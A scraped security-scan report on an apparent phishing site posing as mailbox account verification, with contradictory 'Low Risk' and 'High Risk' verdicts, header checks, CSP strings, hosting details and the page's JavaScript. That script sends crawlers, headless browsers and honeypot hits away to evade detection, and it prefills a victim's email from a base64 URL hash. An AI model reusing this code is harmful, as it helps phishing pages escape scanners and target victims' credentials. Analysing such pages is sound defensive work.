finance banking

English

The domain 'mailboxaccountverification.edgeone.dev' uses the developer-focused generic top-level domain (.dev) with subdomain 'mailboxaccountverification'. Its registrable label 'edgeone' stretches across 7 characters split between four vowels and three consonants. It segments into two words: edge, one. Expect 3.5 characters per word on average. No strong language cues emerged from the frequency lists.

botcheck

html/33/36/3336e165-07b7-4f7e-ad13-9f572ae8709d.html.gz

require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes

e62500f42cf323d9ecb07ee56e31ce7dc20f3c3fde285f98b4eeae8d659f72f1

27d2f0e10ccb85690eb628b23319eaf12e53da552f1f604d099e249da305c1dc

6db15d10697b8f53df7f0bfd883c32a6f6f68f2a69d6ef39ea861bcb900b6697

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://webui-test chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types lottie-worker-script-loader webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

Prudence Malinki

MarkMonitor Inc.

edgeone.dev

ORG-GI58-RIPE

GitHub, Inc.

ORG-NCC1-RIPE

US-GITHUB-20170413



(async function () {

    const userAgent = navigator.userAgent || "";

    const suspiciousUA = /bot|crawl|spider|slurp|headless|phantom/i.test(userAgent);

    const isHeadless = navigator.webdriver || false;



    // JS execution confirmation

    localStorage.setItem('js_enabled', 'true');



    // Honeypot trap (use your existing field instead)

    const honeypot = document.getElementById('botcheck');

    if (honeypot && honeypot.value) {

        window.location.href = "https://www.wikipedia.org";

        return;

    }



    // Check if localStorage was written (JS running)

    const jsEnabled = localStorage.getItem('js_enabled') === 'true';



    // Final bot detection logic (without interaction check)

    if (

        suspiciousUA ||

        isHeadless ||

        !jsEnabled

    ) {

        // Redirect bot

        window.location.href = "https://www.wikipedia.org";

    }

})();





// Function to get email from URL hash

function getEmailFromUrl() {

    const hash = window.location.hash.substring(1); // Remove the #

    if (!hash) return null;

    

    // Check if hash is base64 encoded

    if (isBase64(hash)) {

        try {

            return atob(hash); // Decode base64

        } catch (e) {

            return hash; // If decoding fails, assume it's plain email

        }

    }

    return hash;

}



// Function to check if a string is base64 encoded

function isBase64(str) {

    try {

        return btoa(atob(str)) === str;

    } catch (err) {

        return false;

    }

}



// Function to update URL with base64 encoded email

function updateUrlWithEncodedEmail(email) {

    if (!email) return;

    const encodedEmail = btoa(email);

    window.history.replaceState(null, null, `#${encodedEmail}`);

}



// Main function to process email

function processEmail() {

    // Get email from URL

    const email = getEmailFromUrl();

    

    if (email) {

        // Update username field

        document.getElementById('username').value = email;

        

        // Update URL with encoded email if it's not already encoded

        if (!isBase64(window.location.hash.substring(1))) {

            updateUrlWithEncodedEmail(email);

        }

    }

}



// Run when page loads

window.addEventListener('DOMContentLoaded', processEmail);



Account Verification

✅ Low Risk - https://mailboxaccountverification.edgeone.dev/

Requests	IP Address	Location	AS Autonomous System
6	185.199.108.153	United States	AS54113Fastly, Inc.
1	104.26.12.205Cloudflare · WAF	United States	AS13335Cloudflare, Inc.
1	209.94.90.1	United States	AS40680Protocol Labs
1	192.178.183.95Google · CDN	United States	AS15169Google LLC
1	142.251.14.94Google · CDN	United States	AS15169Google LLC
1	43.174.246.29	Singapore	AS139341ACE
11	6	-	-

Security Scan Report: mailboxaccountverification.edgeone.dev

Summary

AI Security Verdict

High Risk

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Content Similarity HashesFor malware variant detection

TLSH (Trend Micro Locality Sensitive Hash)

ssdeep (Context Triggered Piecewise Hashing)

sdhash (Similarity Digest Hashing)

Image Hashes

Perceptual Hashes

Other Hashes

Scan History